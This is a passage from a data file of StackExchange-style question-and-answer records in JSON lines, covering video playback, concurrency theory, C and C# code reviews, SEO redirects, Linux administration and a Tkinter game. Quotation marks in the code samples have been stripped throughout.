(libavformat)[lavf] stream 0: video (h264), -vid 0[lavf] stream 1: audio (aac), -aid 0, -alang undClip info: major_brand: mp42 minor_version: 0 compatible_brands: isommp42 creation_time: 2013-02-08 18:56:45Load subtitles in .Failed to open VDPAU backend libvdpau_nvidia.so: cannot open shared object file: No such file or directory[vdpau] Error when calling vdp_device_create_x11: 1[VO_XV] It seems there is no Xvideo support for your video card available.[VO_XV] Run 'xvinfo' to verify its Xv support and read[VO_XV] DOCS/HTML/en/video.html#xv![VO_XV] See 'mplayer -vo help' for other (non-xv) video out drivers.[VO_XV] Try -vo x11.[ass] auto-openSelected video codec: H.264 / AVC / MPEG-4 AVC / MPEG-4 part 10 [libavcodec]Selected audio codec: AAC (Advanced Audio Coding) [libavcodec]AUDIO: 44100 Hz, 2 ch, floatle, 192.0 kbit/6.80% (ratio: 23999->352800)AO: [pulse] 44100Hz 2ch floatle (4 bytes per sample)Starting playback...VIDEO:  1920x1080  24.000 fps  2925.7 kbps (365.7 kB/s)VO: [x11] 1920x1080 => 1920x1080 Planar YV12 [swscaler @ 0x7f1c88119640]using unscaled yuv420p -> bgra special converterColorspace details not fully supported by selected vo.A:   3.1 V:   3.1 A-V:  0.001 ct:  0.002   0/  0  6% 49%  1.0% 0 0 And when I say smooth, I mean it. All 4 cores are around 30-45%.But... why ?Any idea why mplayer outperforms vlc so much on this?Any setting I could check/enforce on vlc?Is it possible mplayer makes better use of my hardware (GPU)?"  , "title": "vlc can't play H264 smoothly while mplayer can"  , "tags": "performance;video;vlc;mplayer"  } 
{  "id": "_cogsci.8192"  , "question": "My friend is working on a robot that can be mind controlled. He basically wears a headset, and that headset translate brain signal into control signal to move a robot. https://www.youtube.com/watch?v=XewJh_0nLvMWhat could be the potential advantage of these kind of robots versus robots controlled by remotes (99.99% of all robots nowadays)?"  , "title": "Neural robots vs conventional robots"  , "tags": "eeg;artificial intelligence"  , "accepted_answer": "The advantage (at the current state of the technology) is that you don't need to use a remote with your hands, so the paralyzed could move their exoskeletons, for instance. For now, there is still the downside that the the device needs to be trained and the commands that can be read are rather simplistic. However, in the future these types of devices will greatly enhance human-computer interaction by allowing the brain the communicate in the same way as it communciates naturally with the environment. So, imagining yourself as the robot moving around (and the robot following your imagined moves) is a lot more fluent, intuitive, and precise than pressing a bunch of buttons! The technology still needs to get to this stage, however."  } 
{  "id": "_cs.71703"  , "question": "i have 4  question regarding relation between starvation and bounded waiting.1.Does starvation-freedom imply deadlock-freedom?My Answer-:From here,definition of starvation free isFreedom from Starvation -:Every thread that attempts to acquire the lock eventually succeedsFreedom from Deadlock -:f some thread attempts to acquire the lock, then some thread (not necessarily the thread referred to in the if statement; emphasis added) will succeed in acquiring the lock.so i can state that starvation-freedom imply deadlock-freedom 2.Does starvation-freedom imply bounded-waiting?Approach-:Starvation free implies  that every thread that will attempt to acquire lock will succeed.on the other handbounded wait insures that  there exists a bound, or limit, on the number of times other processes are allowed to enter their critical sections   after a process has made request to enter its critical section and before that request is grantedwhich implies that there must not be any starvation.Am i correct? but the explanation is  here confuses me.Please help me out !!Thanks!!!"  , "title": "Bounded waiting and starvation free in critical section problem"  , "tags": "operating systems;synchronization;deadlocks;critical section"  , "accepted_answer": "No, starvation-free doesn't imply bounded waiting.For instance, consider a procedure that never even attempts to acquire any lock; but the amount of time it takes is variable and can be arbitrarily long.  Then there is no bound on the amount of time it might take to complete its operation.Here is another example of how it can fail.  Starvation-free means that every attempt to acquire the lock eventually succeeds -- but that says nothing about how long it might take.  Maybe the amount of time it will take to acquire the lock is variable and can be arbitrarily long -- there is no upper bound on how long it takes to acquire the lock.  Then a procedure that first attempts to acquire the lock before doing anything else won't satisfy bounded waiting."  } 
{  "id": "_softwareengineering.195426"  , "question": "I notice that a property of codebases that I like hacking on is that it's quick to find the relevant code for some feature, without knowing much about the code base at all. For example, searching for a label in the GUI, and immediately hitting the code that implements that feature.This seems to be in direct tension with abstraction layers, where the label is probably buried behind an I18N module, and the business logic is probably further removed in an MVC framework. (It can be mitigated by including GUI labels in comments though, for example.)It's obviously part of maintainability, but is there a name for this specific, desirable, property?"  , "title": "Is there a name for being able to quickly find the relevant code?"  , "tags": "design patterns;programming practices;source code;abstraction;maintainability"  } 
{  "id": "_unix.337450"  , "question": "I'm running nginx on raspberry pi.I ran update and upgrade commands and then installed nginx.1. sudo apt-get update2. sudo apt-get upgrade3. sudo apt-get install nginxStarted the server4. sudo /etc/init.d/nginx startOutput[ ok ] Starting nginx (via systemctl): nginx.service.When I enter ip address into the browser nothing appears. What could be the problem here?"  , "title": "Nginx doesn't show the default html page"  , "tags": "raspberry pi;nginx"  } 
{  "id": "_cs.76659"  , "question": "What are the advantages of fully polynomial time approximation scheme over polynomial time approximation scheme?"  , "title": "Algorithms Design and Analysis"  , "tags": "algorithms;complexity theory;np hard"  } 
{  "id": "_bioinformatics.2173"  , "question": "Take for instance, this hypothetical example:bam <- system.file(extdata,package = SomePackage,snps.bam)reads <- readGAlignments(bam)How do I display reads in a plot with the second and fourth graph of this picture (mismatch and reads) , and the first graph of this picture? I've tried getting additional columns from readGAlignments, but it still seems to break.I've also tried using Gviz, but that doesn't support indels, which is crucial to my work.Finally, is there a way to see individual mismatches on the reads like in the first graph of the second picture, or like in Gviz? I've looked at the varying graphs for ggbio and the karyogram seems like the closest thing."  , "title": "Using the ggbio package in R, how do you display a GenomicAlignments object as a mismatch plot and reads plot using autoplot?"  , "tags": "r;visualization;genome browser"  } 
{  "id": "_webapps.104676"  , "question": "How to precisely find the Facebook email address of the person that only have a Facebook number ID, that is a profile, for instancehttps://www.facebook.com/profile.php?id=606247083"  , "title": "What is the Facebook mail address of an account that only have an ID?"  , "tags": "facebook;facebook pages;facebook groups;facebook timeline;facebook chat"  } 
{  "id": "_unix.322029"  , "question": "So I know that there is a way to change the color of text for directories, regular files, bash scripts, etc. Is there a way to change the color to the file based on the _file extension_? Example:$ ls -lfoo.txt  [is red] foo.text  [is blue] foo.secret  [is green] foo.txt  [is red]"  , "title": "How to change the color of different files in ls"  , "tags": "bash;shell;ls"  , "accepted_answer": "Yes, using the LS_COLORS variable (assuming GNU ls). The easiest way to manipulate that is to use dircolors:dircolors --print-database > dircolors.txtwill dump the current settings to dircolors.txt, which you can then edit; once you've added your settings,eval $(dircolors dircolors.txt)will update LS_COLORS and export it. You should add that to your shell startup script.To apply the example settings you give, the entries to add to dircolors.txt would be.txt 00;31.text 00;34.secret 00;32"  } 
{  "id": "_unix.280009"  , "question": "I have DNS server to my domain abc.com.Need to point my sub domain xx.abc.com to another subdomain xx.def.com. As it's hosted in xx.def.com, I will get any IP, so they will provide only subdomain name xx.def.com. Will it possible to point my subdomain to other subdomain instead of IP in DNS record?  "  , "title": "pointing Linux DNS server from one sub domain to another subdomain"  , "tags": "dns;domain"  , "accepted_answer": "As you are mentioning different domains abc.com & def.com, you use web server redirection of xx.abc.com to xx.def.com. For example the below sample syntax is used to do redirection in Apache server:<VirtualHost x.x.x.x:80>        ServerName xx.abc.com        Redirect Permanent / xx.def.com</VirtualHost>This will redirect all request coming from xx.abc.com to xx.def.com."  } 
{  "id": "_unix.245670"  , "question": "I attempted yesterday to install Debian on an external HDD. Created my partition on the external drive, booted from CD, set up file structure during graphical install on the desired partition of said external. I completed the install, then following the restart my computer said my USB drive had no bootable partition. So, I restarted again, unplugged my external, and went to boot into windows only to have it tell me BOOTMGR not present. (Got that fixed though)So my question is, is this even possible? To create a bootable Linux from an external HDD that is partitioned. Or did I just botch a step. "  , "title": "Installing a bootable Debian Jessie on partitioned external HDD"  , "tags": "debian;debian installer"  } 
{  "id": "_codereview.143065"  , "question": "I was given an assignment to create an implementation of a tokenizer object (by object, I mean a struct with associated functions that operate on instances of the struct). This tokenizer retrieves tokens from an input string given the following rules:The input string cannot  be changedTokens can only contain digits 0-9, hex digits, E and e, X and x, +, -, and periods(.). Tokens are delimited by white spaceIf a character that is not a delimiter or a valid token character is encountered in the input string, a message containing its ASCII and hexadecimal representation is printed.The program then uses the tokenizer object to retrieve tokens from an input string and classify them as zero, integer, float, octal, hexadecimal, or malformed. The classification is done using a finite state machine.This is my first C program so I'd like pointers on where I could improve.(And to ease any worries about cheating, this assignment was due September 29 and has already been turned in)Code:#include <stdio.h>#include <stdlib.h>#include <ctype.h>typedef enum {    STATE_A,        STATE_B,      STATE_C,    STATE_D,        STATE_E,      STATE_F,    STATE_G,        STATE_H,      STATE_I,    STATE_J,        STATE_ENTRY,    STATE_DECIMAL,  STATE_FLOAT,  STATE_OCTAL,  STATE_HEXADECIMAL,  STATE_MALFORMED, STATE_ZERO} state_t;static char *classifications[] = {Decimal, Float, Octal, Hexadecimal, Malformed, Zero};static state_t A(char *);  static state_t B(char *); static state_t C(char *);static state_t D(char *);  static state_t E(char *); static state_t F(char *);static state_t G(char *);  static state_t H(char *); static state_t I(char *);static state_t J(char *);  static state_t entryState(char *);typedef state_t (state_func)(char *);static state_func *STATE_FUNCTIONS[] = {A, B, C, D, E, F, G, H, I, J, entryState};struct TokenizerT_ {    char *current;};typedef struct TokenizerT_ TokenizerT;int isoctal(int c) {    return c >= '0' && c <= '7';}static void failedToAllocateMemory() {    printf(\\nFailed to allocate memory. Program is exiting.);    exit(EXIT_FAILURE);}state_t entryState(char *token) {    if (*token == '0') {        return STATE_A;    } else if (isdigit(*token)) {        return STATE_B;    } else {        return STATE_MALFORMED;    }}state_t A(char *token) {    if (!*token) { //Token is 0        return STATE_ZERO;    } else if (isoctal(*token)) {        return STATE_C;    } else if (tolower(*token) == 'x') {        return STATE_D;    } else if (*token == '.') {        return STATE_E;    } else {        return STATE_MALFORMED;    }}state_t B(char *token) {    if (!*token) {        return STATE_DECIMAL;    } else if (isdigit(*token)) {        return STATE_B;    } else if (*token == '.') {        return STATE_E;    } else if (tolower(*token) == 'e') {        return STATE_H;    } else {        return STATE_MALFORMED;    }}state_t C(char *token) {    if (!*token) {        return STATE_OCTAL;    } else if (isoctal(*token)) {        return STATE_C;    } else {        return STATE_MALFORMED;    }}state_t D(char *token) {    if (isxdigit(*token)) {        return STATE_F;    } else {        return STATE_MALFORMED;    }}state_t E(char *token) {    if (isdigit(*token)) {        return STATE_G;    } else {        return STATE_MALFORMED;    }}state_t F(char *token) {    if (!*token) {        return STATE_HEXADECIMAL;    } else if (isxdigit(*token)) {        return STATE_F;    } else {        return STATE_MALFORMED;    }}state_t G(char *token) {    if (!*token) {        return STATE_FLOAT;    } else if (isdigit(*token)) {        return STATE_G;    } else if (tolower(*token) == 'e') {        return STATE_H;    } else {        return STATE_MALFORMED;    }}state_t H(char *token) {    if (isdigit(*token)) {        return STATE_J;    } else if (*token == '+' || *token == '-') {        return STATE_I;    } else {        return STATE_MALFORMED;    }}state_t I(char *token) {    if (isdigit(*token)) {        return STATE_J;    } else {        return STATE_MALFORMED;    }}state_t J(char *token) {    if (!*token) {        return STATE_FLOAT;    } else if (isdigit(*token)) {        return STATE_J;    } else {        return STATE_MALFORMED;    }}static void notifyUnexpectedSymbol(char c) {    printf(\\nUnexpected symbol '%c' [%#02X] in input string, c, c);}static int isValidTokenCharacter(char c) {    return isdigit(c) || isxdigit(c) || c == '+' || c == '-' || c == '.' || tolower(c) == 'x' || tolower(c) == 'e';}static char *buildToken(TokenizerT *tk) {    size_t size = 0;    char *token = malloc(1);    if (!token) {        failedToAllocateMemory();    }    while (*tk->current && !isspace(*tk->current)) {        if (isValidTokenCharacter(*tk->current)) {            size++;            token = realloc(token, size);            if (!token) {                failedToAllocateMemory();            }            token[size - 1] = *tk->current;        } else {            notifyUnexpectedSymbol(*tk->current);        }        tk->current++;    }    token = realloc(token, size + 1);    if (!token) {        failedToAllocateMemory();    }    token[size] = '\\0';    return token;}char *TKGetNextToken(TokenizerT *tk) {    int space_c = 0;    int valid_c = 0;    while (*tk->current && ( (space_c = isspace(*tk->current)) || !(valid_c = isValidTokenCharacter(*tk->current)) )) {        if (!valid_c && !space_c) {            notifyUnexpectedSymbol(*tk->current);        }        tk->current++;    }    if (!*tk->current) {        return NULL;    }    return buildToken(tk);}static int isFinalState(state_t st) {    return st >= STATE_DECIMAL;}void classifyTokens(TokenizerT *tk) {    char *token;    while ((token = TKGetNextToken(tk))) {        char *cp = token;        state_t currentState = STATE_ENTRY;        while (!isFinalState(currentState)) {            currentState = STATE_FUNCTIONS[currentState](cp++);        }        printf(\\n%-11s %s, classifications[currentState - STATE_DECIMAL], token);        free(token);    }}TokenizerT *TKCreate(char *ts) {    TokenizerT *tokenizer = malloc(sizeof(TokenizerT));    if (!tokenizer) {        return NULL;    }    tokenizer->current = ts;    return tokenizer;}void TKDestroy(TokenizerT *tk) {    free(tk);}int main(int argc, char **argv) {    if (argc < 2) {        printf(\\nOne argument must be provided.\\n);    } else {        TokenizerT *tok = TKCreate(argv[1]);        if(!tok) {            failedToAllocateMemory();        }        classifyTokens(tok);        TKDestroy(tok);    }    return 0;}"  , "title": "Implementation of tokenizer object and finite state machine in C"  , "tags": "beginner;c;parsing;state machine"  } 
{  "id": "_codereview.49541"  , "question": "I have a Cache Helper Class.using System;using System.Web;public static class CacheHelper{    /// <summary>    /// Insert value into the cache using    /// appropriate name/value pairs    /// </summary>    /// <typeparam name=T>Type of cached item</typeparam>    /// <param name=o>Item to be cached</param>    /// <param name=key>Name of item</param>    public static void Add<T>(T o, string key)     {        // NOTE: Apply expiration parameters as you see fit.        // I typically pull from configuration file.        // In this example, I want an absolute        // timeout so changes will always be reflected        // at that time. Hence, the NoSlidingExpiration.        HttpContext.Current.Cache.Insert(            key,            o,            null,            DateTime.Now.AddMinutes(1440),            System.Web.Caching.Cache.NoSlidingExpiration);    }    /// <summary>    /// Remove item from cache    /// </summary>    /// <param name=key>Name of cached item</param>    public static void Clear(string key)    {        HttpContext.Current.Cache.Remove(key);    }    /// <summary>    /// Check for item in cache    /// </summary>    /// <param name=key>Name of cached item</param>    /// <returns></returns>    public static bool Exists(string key)    {        return HttpContext.Current.Cache[key] != null;    }    /// <summary>    /// Retrieve cached item    /// </summary>    /// <typeparam name=T>Type of cached item</typeparam>    /// <param name=key>Name of cached item</param>    /// <param name=value>Cached value. Default(T) if     /// item doesn't exist.</param>    /// <returns>Cached item as type</returns>    public static bool Get<T>(string key, out T value)     {        try        {            if (!Exists(key))            {                value = default(T);                return false;            }            value =  (T) HttpContext.Current.Cache[key];        }        catch        {            value = default(T);            return false;        }        return true;    }}and usage:string key = EmployeeList;List<Employee> employees;if (!CacheHelper.Get(key, out employees)){    employees = DataAccess.GetEmployeeList();    CacheHelper.Add(employees, key);    Message.Text =        Employees not found but retrieved and added to cache for next lookup.;}else{    Message.Text = Employees pulled from cache.;}Do you see any improvement / issue?"  , "title": "ASP.Net caching manager"  , "tags": "c#;asp.net"  } 
{  "id": "_codereview.39817"  , "question": "Attempting to jump into the Windows Server ServiceBus 1.1 code-base along with adopting the new TPL async methods. But I could not find an easy way to just spin up N number of handlers for message sessions (might have 100 or so concurrent sessions). So it would be great to get some feedback on the following code, any suggestions on an easier way would be great... note tried to keep code sample simple for the questions purpose.///==============================================================/// SAMPLE USAGESubClient = SubscriptionClient.Create(TopicName, SubscriptionName);SessionsMessagingOptions opts = new SessionsMessagingOptions(){    NumberOfSesssions = 5,    ReceiveTimeOut = TimeSpan.FromSeconds (5),    AutoMarkMessageComplete = true,    MessageHandler = msg =>    {       _logger.Log(string.Format(Processing recived Message: SessionId = {0}, Body = {1},         msg.SessionId,         msg.GetBody<string>()));    }};SubClient.HandleSessions(opts);///==============================================================public class SessionsMessagingOptions{    public Int32 NumberOfSesssions { get; set; }    public TimeSpan ReceiveTimeOut { get; set; }    public Boolean AutoMarkMessageComplete { get; set; }    public Action<BrokeredMessage> MessageHandler { get; set; }}///==============================================================public static class SubscriptionClientExtensions{    public static void HandleSessionsV2(this SubscriptionClient sc, SessionsMessagingOptions opts)    {        for (Int32 nIndex = 0; nIndex < opts.NumberOfSesssions; nIndex++)        {            HandleSession(sc, opts);        }    }    public static async Task<MessageSession> HandleSession(SubscriptionClient sc, SessionsMessagingOptions opts)    {        do        {            MessageSession ms = null;            try            {                ms = await sc.AcceptMessageSessionAsync().ConfigureAwait(false);                foreach (var msg in await ms.ReceiveBatchAsync(5, opts.ReceiveTimeOut).ConfigureAwait(false))                {                    if (msg == null)                        break;                    try                    {                        opts.MessageHandler(msg);                        if (opts.AutoMarkMessageComplete)                            msg.Complete();                    }                    catch (Exception)                    {                        // log the exception                       }                }             }            catch (TimeoutException)            {                // log timeout occurred            }            catch (Exception)            {               // look into other exception types to handle here            }            finally            {                if (ms != null)                {                    if (!ms.IsClosed)                        ms.Close();                }            }        } while (true);    }    public static void HandleSessions(this SubscriptionClient sc, SessionsMessagingOptions opts)    {        Action<Task<MessageSession>> sessionAction = null;        Action<Task<BrokeredMessage>> msgHandler = null;        sessionAction = new Action<Task<MessageSession>>(tMS =>        {            if (tMS.IsFaulted) // session timed out - repeat            {                sc.AcceptMessageSessionAsync().ContinueWith(sessionAction);                return;            }            MessageSession msgSession = null;            try            {                msgSession = tMS.Result;            }            catch (Exception)            {                return; // task cancelation exception            }            msgHandler = new Action<Task<BrokeredMessage>>(taskBM =>            {                if (taskBM.IsFaulted)                    return;                BrokeredMessage bMsg = null;                try                {                    bMsg = taskBM.Result;                }                catch (Exception)                {                    return; // task cancelation exception                }                if (bMsg == null)                {                    sc.AcceptMessageSessionAsync().ContinueWith(sessionAction); // session is dead                    return;                }                opts.MessageHandler(bMsg); // client code to handle the message                if (opts.AutoMarkMessageComplete)                    bMsg.Complete();                msgSession.ReceiveAsync(opts.ReceiveTimeOut).ContinueWith(msgHandler); // repeat            });            msgSession.ReceiveAsync(opts.ReceiveTimeOut).ContinueWith(msgHandler); // start listening        });        for (Int32 nIndex = 0; nIndex < opts.NumberOfSesssions; nIndex++)        {            sc.AcceptMessageSessionAsync().ContinueWith(sessionAction);        }    }}"  , "title": "Easy way to handle AcceptMessageSessionAsync and ReceiveAsync - Windows Server ServiceBus"  , "tags": "c#;task parallel library"  } 
{  "id": "_webmaster.65317"  , "question": "I recently completed a website for a client, which was hosted on my own personal server until we were ready to move it to their own dedicated domain. Inadvertently, the sub-directory got indexed when it still resided on my domain, and thus searches for the site show up for its existence on my server.I set up a 301 Permanent Redirect and put in a crawl request to Google hoping to rectify the search results, but unfortunately the results are still the same.All the literature I have been reading talks about setting up 301s when moving from domain to domain, but little to none talks about moving a site from a sub-directory to its own TLD.Is there a specific process to go about when moving a site from a sub-directory to its own domain while maintaining its preexisting SEO?"  , "title": "Moving directory to domain and maintaining SEO"  , "tags": "seo;redirects;subdirectory"  , "accepted_answer": "You have a few options. A 301 redirect, or 404 not found, 410 gone, or block access using robots.txt. Each option depends upon the situation.If you have links to the sub-domain, then a 301 redirect is a temporary solution to maintain any value of that link. If you are not concerned about links to the sub-domain, then the following options may be better. I caution you that any links to the sub-domain will have to dealt with eventually. You have to decide if any of the links have enough value to preserve for a period. If they have value you do not want to lose, then a 301 redirect can help with this. Keep in mind that 301 redirects only have value as long as they continue to exist. In the end, they will likely have to be broken so that the sub-domain can be taken down if that is the plan.If there are no links to the sub-domain, then there are better options that would help resolve your issue faster.Any 301 redirect would preserve links. If there are no links to be concerned with, then a 301 redirect would preserve both sets of URLs in the index: the sub-domain URLs and the (proper) domain URLs. Which does not seem to be what you want and will slow down any bubbling-up of the (proper) domain in the SERPs.A 404 not found error could remove the sub-domain pages from the index, but it will take a while because you are in a sense, not telling a searcher or spider that the page is gone. However, a 404 error is naturally an easy thing to do. For a period, Google will try each page repeatedly until Google decides that each page is actually gone. Google uses a TTL (time to live) style metric based upon freshness. In this case, because these are new pages, the TTL may be kind of long. Therefore this could be a longer process.A 410 gone error could remove the sub-domain pages from the index, but each page has to be accessed again on whatever time schedule that Google has for each page. Google uses a TTL (time to live) style metric based upon freshness. In this case, because these are new pages, the TTL may be kind of long. Therefore this could be a longer process. Still, it would be much shorter a process than a 404 not found error.Using the robots.txt file to block access to the sub-domain can drop all of the pages from the index much faster. In this case, when the robots.txt file is read again and Google is blocked from the sub-domain site, then Google will drop the indexed pages generally within days. This can still take a while based upon the TTL metric for the site overall. Google will not check the robots.txt file more than once in a 24 hour period. If Google has a shorter TTL value for the sub-domain site, then the robots.txt can be re-read within a few days. Though it can be weeks also. However, once the robots.txt file is read, the process to drop the sub-domain pages from the index can be just a few days.If there is no advantage to retaining the sub-domain, it is a much faster process to simply use the robots.txt file to block accesses from the sub-domain to drop these pages from the index allowing the (proper) domain to then perform in the SERPs as you intend. IF you are in a hurry, then blocking access to the sub-domain within the robots.txt will be the fastest option.As far as SEO is concerned, there likely is no value you can preserve outside of links and existing search. The links may be of little value. You have to decide. The primary reason is because it is a new site. I would assume that not enough soaking-in has occurred in the search engines to be of real value. Certainly, your customer will want that value for their own site and breaking the sub-domain is the fair and proper thing to do for your customer. The only realistic value that I can see would exist is search traffic. If it is low, then it costs you almost nothing to break the sub-domain and let the (proper) domain to bubble-up in the SERPs. If this is what you decide is the best option for your scenario, then it should be a relatively fast process in the search engine world, 30-60 days, to begin building search traffic which is quite normal. Remember, depending upon the site, it can take 6-12 months to properly soak-in to the SERPs anyway. If your sub-domain has only existed for a few months, it has not really soaked-in very much at all. Sometimes the best thing to do is in business and SEO is to cut-bait and fish."  } 
{  "id": "_webmaster.44098"  , "question": "I'm sure you've spotted search results in google that aren't really pages with content, but pre-built search result pages within the site itself. A few examples: http://www.indeed.cl/Empleos-de-Ingeniero-Comercial http://empleo.trovit.cl/trabajo-ingeniero-comercialThese come out first when you search Trabajo Ingeniero Comercial in Google. Their effectiveness in SEO is obvious. Questions:- Does this technique have a name?- Are they generated dynamically with the Google search term, or are they pre-built and cached? And if they are dynamic, how is the search term retrieved?I would love some insight in this technique. Thanks"  , "title": "How are these pre-built search results page made, and are those considered black hat SEO?"  , "tags": "seo;search engines"  } 
{  "id": "_unix.205453"  , "question": "My host OS is Windows. Using VMWare I installed an image of Linux CentOS 5. In this VM I have installed a software named mySoft.I want to sell the VM to one person to run only on his computer. This person will have permission to run and use mySoft and won't be root.I want to restrict this VM so it can't be used (or at least mySoft can't be used) on any another computer even if it belongs to the same person I sold it originally.In another word, I want a restriction on distribution (copy or move) of VMWare Linux!"  , "title": "Restrict VM Linux installed on a computer to run in another one"  , "tags": "vmware"  } 
{  "id": "_unix.329856"  , "question": "I've written the following line of code to delete the contents of a directory.rm -rf $dir && mkdir -p $dirHowever, this will not work if the first statement failed. Does it ever return 1?"  , "title": "Does rm -rf $dir ever return false?"  , "tags": "rm;return status"  , "accepted_answer": "Sure, if some part of the deletion would violate permissions. For example$ mkdir -p p/q$ sudo chown root p p/q$ sudo chmod 700 p p/q$ rm -rf prm: cannot remove 'p': Permission denied$ echo $?1Note, however, that you can remove a directory that's not yours from a directory that is. So the above would not fail if I only tried with p without the contents."  } 
{  "id": "_webapps.101626"  , "question": "YouTube allows to combine multiple videos to create a longer videos using the Video Editor. I have uploaded multiple videos to my account but on this page I see only couple of videos in the source list, the one are shorter than 10 min.Is there a limitation on the length of the source videos, which can be used to make combined longer video?"  , "title": "Combine/merge long YouTube videos"  , "tags": "youtube;video;video editing"  } 
{  "id": "_unix.335986"  , "question": "Here is my current setup:Machine A with a single ipA: general purpose debian server with ssh, web server, etc...Machine B with a single ipB: openvpn server (also on debian)My aim is to use the same physical machine to do the same (Machine C with both ipA and ipB on the same physical interface) :everything (ssh, web server, ...) through ipAexcept openvpn through ipB.My requirement is that an external user should not be able (excluding side-channels) to infer that ipA and ipB route to the same physical machine.As an example, all current services of Machine A should not listen on ipB.Moreover, since Machine B is only used for openvpn, I would like to avoid a hypervisor-based solution. I hope there is a way to jail openvpn and ipB under my existing OS.Which technology/packages should I use in this case?Since openvpn is latency sensitive and resources hungry, light technologies are preferred."  , "title": "Assign specific IP to application"  , "tags": "debian;networking;ip"  , "accepted_answer": "The best choice is to do that in every service configuration and set every service to listen for specific ip not any ip, but, you can do that in iptables so you can drop any packet that have destination ipB and the port is not openvpn port or only allow destination ipB and port openvpn but you here you will lose the ability to use the port with ipA.For exmpale:iptables -t filter -A INPUT -p udp -d <ipB> --dport 1194 -j ACCEPTiptables -t filter -A INPUT -p tcp -d <ipB> --dport 1194 -j ACCEPTiptables -t filter -A INPUT -p udp --dport 1194 -j DROPiptables -t filter -A INPUT -p tcp --dport 1194 -j DROPHere am only allowing the connection on port 1194 for the packet that have destination ipB"  } 
{  "id": "_unix.43844"  , "question": "On a Gentoo Linux box which I'm not administering (and to which I don't have root access), how can I find out the options which were used to compile the package?(Please note I've never worked with Gentoo before, but have good working knowledge of Debian-based distros)"  , "title": "Find out a package's configure/compile options in Gentoo"  , "tags": "gentoo"  , "accepted_answer": "If the portage package manager is used (it most likely is) then the CPU flags can be found in /etc/make.conf as CFLAGS and CXXFLAGS. Note that individual ebuilds may filter certain flags, so the flags you see in /etc/make.conf may not be the ones that were used to compile the package. Looking at the ebuild (under /usr/portage/<category name>/<program name>/) might tell you if that is the case.This assumes of course that the contents of /etc/make.conf weren't changed after the compilation of the package."  } 
{  "id": "_codereview.174065"  , "question": "I have 148 lines of code...  from tkinter import *from math import sqrtfrom random import shuffleHEIGHT = 768WIDTH = 1366window = Tk()colors = [darkred, green, blue, purple, pink, lime]health = {    ammount : 3,    color: green}window.title(Bubble Blaster)c = Canvas(window, width=WIDTH, height=HEIGHT, bg=darkblue)c.pack()ship_id = c.create_polygon(5, 5, 5, 25, 30, 15, fill=green)ship_id2 = c.create_oval(0, 0, 30, 30, outline=red)SHIP_R = 15MID_X = WIDTH / 2MID_Y = HEIGHT / 2c.move(ship_id, MID_X, MID_Y)c.move(ship_id2, MID_X, MID_Y)ship_spd = 10score = 0def move_ship(event):    if event.keysym == Up:        c.move(ship_id, 0, -ship_spd)        c.move(ship_id2, 0, -ship_spd)    elif event.keysym == Down:        c.move(ship_id, 0, ship_spd)        c.move(ship_id2, 0, ship_spd)    elif event.keysym == Left:        c.move(ship_id, -ship_spd, 0)        c.move(ship_id2,  -ship_spd, 0)    elif event.keysym == Right:        c.move(ship_id, ship_spd, 0)        c.move(ship_id2,  ship_spd, 0)    elif event.keysym == P:        score += 10000c.bind_all('<Key>', move_ship)from random import randintbub_id = list()bub_r = list()bub_speed = list()bub_id_e = list()bub_r_e = list()bub_speed_e = list()min_bub_r = 10max_bub_r = 30max_bub_spd = 10gap = 100def create_bubble():    x = WIDTH + gap    y = randint(0, HEIGHT)    r = randint(min_bub_r, max_bub_r)    id1 = c.create_oval(x - r, y - r, x + r, y + r, outline=white, fill=lightblue)    bub_id.append(id1)    bub_r.append(r)    bub_speed.append(randint(5, max_bub_spd))def create_bubble_e():    x = WIDTH + gap    y = randint(0, HEIGHT)    r = randint(min_bub_r, max_bub_r)    id1 = c.create_oval(x - r, y - r, x + r, y + r, outline=black, fill=red)    bub_id_e.append(id1)    bub_r_e.append(r)    bub_speed_e.append(randint(6, max_bub_spd))def create_bubble_r():    x = WIDTH + gap    y = randint(0, HEIGHT)    r = randint(min_bub_r, max_bub_r)    id1 = c.create_oval(x - r, y - r, x + r, y + r, outline=white, fill=colors[0])    bub_id.append(id1)    bub_r.append(r)    bub_speed.append(randint(6, max_bub_spd))def move_bubbles():    for i in range(len(bub_id)):        c.move(bub_id[i], -bub_speed[i], 0)    for i in range(len(bub_id_e)):        c.move(bub_id_e[i], -bub_speed_e[i], 0)from time import sleep, timebub_chance = 30def get_coords(id_num):    pos = c.coords(id_num)    x = (pos[0] + pos[2]) / 2    y = (pos[1] + pos[3]) / 2    return x, ydef del_bubble(i):    del bub_r[i]    del bub_speed[i]    c.delete(bub_id[i])    del bub_id[i]def clean():    for i in range(len(bub_id) -1, -1, -1):        x, y = get_coords(bub_id[i])        if x < -gap:            del_bubble(i)def distance(id1, id2):    x1, y1 = get_coords(id1)    x2, y2 = get_coords(id2)    return sqrt((x2 - x1) ** 2 + (y2 - y1) ** 2)def  collision():    points = 0    for bub in range(len(bub_id) -1, -1, -1):        if distance(ship_id2, bub_id[bub]) < (SHIP_R + bub_r[bub]):            points += (bub_r[bub] + bub_speed[bub])            del_bubble(bub)    return pointsdef cleanAll():    for i in range(len(bub_id) -1, -1, -1):        x, y = get_coords(bub_id[i])        del_bubble(i)def  collision_e():    for bub in range(len(bub_id_e) -1, -1, -1):        if distance(ship_id2, bub_id_e[bub]) < (SHIP_R + bub_r_e[bub]):            window.destroy()            print(You were killed by a red bubble...)            print(You got , score,  score!)            sleep(100)            c.create_text(50, 30, text=SCORE, fill=white)st = c.create_text(50, 50, fill=white)c.create_text(100, 30, text=TIME, fill=white)tt = c.create_text(100, 50, fill=white)def show(score):    c.itemconfig(st, text=str(score))evil_bub = 50#MAIN GAME LOOPwhile True:    if randint(1, bub_chance) == 1:        create_bubble()    if randint(1, evil_bub) == 1:        create_bubble_e()    if randint(1, 100) == 1:        create_bubble_r()    move_bubbles()    collision_e()    clean()    score += collision()    if score >= 400:        evil_bub = 40        bub_chance = 25        if score >= 1000:            evil_bub = 30            bub_chance = 20    show(score)    window.update()    shuffle(colors)    sleep(0.01)I would like to know if There is any way to make this better    ALSO I have a few things I need done but cant find an awnser:Have a time variable that the larger it is the harder the game isWhen I try this it gets stuck on <built-in-function-time>Thanks!"  , "title": "Python TKinter game, Bubble, Blaster"  , "tags": "python;python 3.x;gui;tkinter"  , "accepted_answer": "This part of your codeif event.keysym == Up:    c.move(ship_id, 0, -ship_spd)    c.move(ship_id2, 0, -ship_spd)elif event.keysym == Down:    c.move(ship_id, 0, ship_spd)    c.move(ship_id2, 0, ship_spd)elif event.keysym == Left:    c.move(ship_id, -ship_spd, 0)    c.move(ship_id2,  -ship_spd, 0)elif event.keysym == Right:    c.move(ship_id, ship_spd, 0)    